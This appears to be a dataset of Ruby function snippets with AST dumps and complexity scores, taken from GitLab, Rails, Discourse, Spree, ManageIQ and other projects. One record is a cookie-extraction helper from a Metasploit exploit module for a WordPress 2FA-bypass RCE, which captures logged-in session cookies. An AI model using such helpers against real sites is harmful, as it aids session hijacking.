{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_reconfigure_task.rb","start_line":18,"raw_source":"def self.get_description(req)\n    options = req.options\n\n    msg = []\n    msg << build_message(options, :vm_memory, N_(\"Memory: %{value} MB\"))\n    msg << build_message(options, :number_of_sockets, N_(\"Processor Sockets: %{value}\"))\n    msg << build_message(options, :cores_per_socket, N_(\"Processor Cores Per Socket: %{value}\"))\n    msg << build_message(options, :number_of_cpus, N_(\"Total Processors: %{value}\"))\n    msg << build_disk_message(options)\n    msg << build_message(options, :disk_remove, N_(\"Remove Disks: %{value}\"), :length)\n    msg << build_message(options, :disk_resize, N_(\"Resize Disks: %{value}\"), :length)\n    msg << build_message(options, :network_adapter_add, N_(\"Add Network Adapters: %{value}\"), :length)\n    msg << build_message(options, :network_adapter_remove, N_(\"Remove Network Adapters: %{value}\"), :length)\n    msg << build_message(options, :network_adapter_edit, N_(\"Edit Network Adapters: %{value}\"), :length)\n    msg << build_message(options, :cdrom_connect, N_(\"Attach CD/DVDs: %{value}\"), :length)\n    msg << build_message(options, :cdrom_disconnect, N_(\"Detach CD/DVDs: %{value}\"), :length)\n\n    _(\"%{request_description} for: %{resource_name} - %{message}\") % {:request_description => _(request_class::TASK_DESCRIPTION), :resource_name => resource_name(req), :message => msg.compact.join(\", \")}\n  end","complexity_score":53.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"options\"]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"vm_memory\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Memory: %{value} MB\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"number_of_sockets\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Processor Sockets: %{value}\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"cores_per_socket\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Processor Cores Per Socket: %{value}\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"number_of_cpus\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Total Processors: %{value}\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_disk_message\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"disk_remove\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Remove Disks: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"disk_resize\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Resize Disks: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"network_adapter_add\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Add Network Adapters: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"network_adapter_remove\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Remove Network Adapters: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"network_adapter_edit\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Edit Network Adapters: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"cdrom_connect\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Attach CD/DVDs: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"build_message\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"sym\",\"children\":[\"cdrom_disconnect\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Detach CD/DVDs: %{value}\"]}]},{\"type\":\"sym\",\"children\":[\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{request_description} for: %{resource_name} - %{message}\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"request_description\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource_name\"]},{\"type\":\"send\",\"children\":[null,\"resource_name\",{\"type\":\"lvar\",\"children\":[\"req\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"ca896890-6b42-45f6-9e65-4bbf8df246c7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/whats_new_helper.rb","start_line":12,"raw_source":"def display_whats_new?\n    (Gitlab.org_or_com? || user_signed_in?) &&\n      !Gitlab::CurrentSettings.current_application_settings.whats_new_variant_disabled?\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"display_whats_new?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"org_or_com?\"]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"whats_new_variant_disabled?\"]},\"!\"]}]}]}","id":"fe5694b4-4e08-47b8-8577-39b4b8b915b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/merge_request/show.rb","start_line":157,"raw_source":"def start_review\n          has_active_element?('start-review-button', wait: 0.5)\n          click_element('start-review-button')\n\n          # After clicking the button, wait for it to disappear\n          # before moving on to the next part of the test\n          has_no_element?('start-review-button')\n        end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"start_review\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_active_element?\",{\"type\":\"str\",\"children\":[\"start-review-button\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"float\",\"children\":[0.5]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"start-review-button\"]}]},{\"type\":\"send\",\"children\":[null,\"has_no_element?\",{\"type\":\"str\",\"children\":[\"start-review-button\"]}]}]}]}","id":"32d87bef-3ff1-41fc-a677-28638f2aadc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-utils/lib/gitlab/version_info.rb","start_line":17,"raw_source":"def self.parse_from_milestone(str)\n      raise InvalidMilestoneError if str.length > MAX_VERSION_LENGTH\n\n      m = MILESTONE_REGEX.match(str)\n      raise InvalidMilestoneError if m.nil?\n\n      VersionInfo.new(m[1].to_i, m[2].to_i)\n    end","complexity_score":16.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse_from_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_VERSION_LENGTH\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidMilestoneError\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MILESTONE_REGEX\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"InvalidMilestoneError\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VersionInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]}]}]}","id":"e507f696-f982-47bb-ac2d-80620ad0a48e"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/imap/sync.rb","start_line":25,"raw_source":"def can_idle?\n      SiteSetting.enable_imap_idle && @provider.can?(\"IDLE\")\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_idle?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_imap_idle\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@provider\"]},\"can?\",{\"type\":\"str\",\"children\":[\"IDLE\"]}]}]}]}","id":"31b9cf66-e853-497d-9039-c1e731c6c086"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version.rb","start_line":129,"raw_source":"def self.get(client: nil, app_store_version_id: nil, includes: nil, limit: nil, sort: nil)\n        client ||= Spaceship::ConnectAPI\n        return client.get_app_store_version(\n          app_store_version_id: app_store_version_id,\n          includes: includes\n        ).first\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"app_store_version_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"get_app_store_version\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_store_version_id\"]},{\"type\":\"lvar\",\"children\":[\"app_store_version_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"lvar\",\"children\":[\"includes\"]}]}]}]},\"first\"]}]}]}]}","id":"dd831f71-ac40-49b1-ab3b-3f770106b107"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_generator_test.rb","start_line":486,"raw_source":"def test_scaffold_generator_rich_text\n    run_generator [\"message\", \"content:rich_text\"]\n\n    assert_file \"app/models/message.rb\", /rich_text :content/\n\n    assert_file \"app/controllers/messages_controller.rb\" do |content|\n      assert_instance_method :message_params, content do |m|\n        assert_match(/expect\\(message: \\[ :content \\]\\)/, m)\n      end\n    end\n\n    assert_file \"app/views/messages/_form.html.erb\" do |content|\n      assert_match(/^\\W{4}<%= form\\.rich_textarea :content %>/, content)\n    end\n\n    # System tests should not be generated by default\n    assert_no_file \"test/system/messages_test.rb\"\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_scaffold_generator_rich_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"content:rich_text\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/message.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"rich_text :content\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/messages_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_instance_method\",{\"type\":\"sym\",\"children\":[\"message_params\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"expect\\\\(message: \\\\[ :content \\\\]\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/messages/_form.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\W{4}<%= form\\\\.rich_textarea :content %>\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_file\",{\"type\":\"str\",\"children\":[\"test/system/messages_test.rb\"]}]}]}]}","id":"51806dc5-9c5a-48a3-8dbe-129da7861924"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/models/sprint.rb","start_line":126,"raw_source":"def activity\n    bd = burndown(\"up\")\n    return false if bd.blank?\n\n    # Assume a sprint is active if it's only 2 days old\n    return true if bd.remaining_hours.size <= 2\n\n    WorkPackage.exists?([\"version_id = ? and ((updated_at between ? and ?) or (created_at between ? and ?))\",\n                         id, -2.days.from_now, Time.now, -2.days.from_now, Time.now])\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"activity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bd\",{\"type\":\"send\",\"children\":[null,\"burndown\",{\"type\":\"str\",\"children\":[\"up\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bd\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bd\"]},\"remaining_hours\"]},\"size\"]},\"<=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"exists?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"version_id = ? and ((updated_at between ? and ?) or (created_at between ? and ?))\"]},{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-2]},\"days\"]},\"from_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[-2]},\"days\"]},\"from_now\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}]}","id":"b2baace0-f4e2-450a-9657-a79245fe5ae1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb","start_line":146,"raw_source":"def extract_cookies(cookie_header)\n    match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)\n    return match[1] if match\n\n    nil\n  end","complexity_score":4.43,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_cookies\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie_header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookie_header\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"18826285-f7fe-4652-9781-69cd01ced3d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/otp/strategies/duo_auth/manual_otp.rb","start_line":33,"raw_source":"def approve_or_deny(parsed_response)\n              result_key = parsed_response.dig('response', 'result')\n              if result_key.to_s == \"allow\"\n                success\n              else\n                error(message: parsed_response.dig('response', 'status_msg').to_s)\n              end\n            end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"approve_or_deny\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parsed_response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_response\"]},\"dig\",{\"type\":\"str\",\"children\":[\"response\"]},{\"type\":\"str\",\"children\":[\"result\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_key\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"allow\"]}]},{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_response\"]},\"dig\",{\"type\":\"str\",\"children\":[\"response\"]},{\"type\":\"str\",\"children\":[\"status_msg\"]}]},\"to_s\"]}]}]}]}]}]}]}","id":"759ec5e4-80ad-43a9-ba0e-0c7b57aa3c2f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/bbpress.rb","start_line":29,"raw_source":"def execute\n    import_users\n    import_anonymous_users\n    import_categories\n    import_topics_and_posts\n    import_private_messages\n    import_attachments\n    create_permalinks\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_anonymous_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_topics_and_posts\"]},{\"type\":\"send\",\"children\":[null,\"import_private_messages\"]},{\"type\":\"send\",\"children\":[null,\"import_attachments\"]},{\"type\":\"send\",\"children\":[null,\"create_permalinks\"]}]}]}","id":"9ea584d3-409e-40bb-b706-5990cf82e0a9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/generator.rb","start_line":257,"raw_source":"def performance_report_time_range\n    if db_options[:custom_time_range]\n      db_options[:start_date]..db_options[:end_date]\n    else\n      Metric::Helper.time_range_from_offset(interval, db_options[:start_offset], db_options[:end_offset], tz)\n    end\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"performance_report_time_range\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_time_range\"]}]},{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_date\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metric\"]},\"Helper\"]},\"time_range_from_offset\",{\"type\":\"send\",\"children\":[null,\"interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start_offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_offset\"]}]},{\"type\":\"send\",\"children\":[null,\"tz\"]}]}]}]}","id":"aa0085c7-fd6d-4917-b6bc-cf6c69f632a7"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/credit_card.rb","start_line":86,"raw_source":"def expiry=(expiry)\n      return unless expiry.present?\n\n      self[:month], self[:year] =\n        if expiry =~ /\\d{2}\\s?\\/\\s?\\d{2,4}/ # will match mm/yy and mm / yyyy\n          expiry.delete(' ').split('/')\n        elsif match = expiry.match(/(\\d{2})(\\d{2,4})/) # will match mmyy and mmyyyy\n          [match[1], match[2]]\n        end\n      if self[:year]\n        self[:year] = \"20#{self[:year]}\" if (self[:year] / 100).zero?\n        self[:year] = self[:year].to_i\n      end\n      self[:month] = self[:month].to_i if self[:month]\n    end","complexity_score":34.5,"ast_json":"{\"type\":\"def\",\"children\":[\"expiry=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expiry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expiry\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"year\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expiry\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\d{2}\\\\s?/\\\\s?\\\\d{2,4}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expiry\"]},\"delete\",{\"type\":\"str\",\"children\":[\" \"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expiry\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d{2})(\\\\d{2,4})\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},\"/\",{\"type\":\"int\",\"children\":[100]}]}]},\"zero?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"20\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"year\"]}]},\"to_i\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"month\"]}]},\"to_i\"]}]},null]}]}]}","id":"0d5e6720-4a6a-4060-ba49-d3f07b4c80e4"}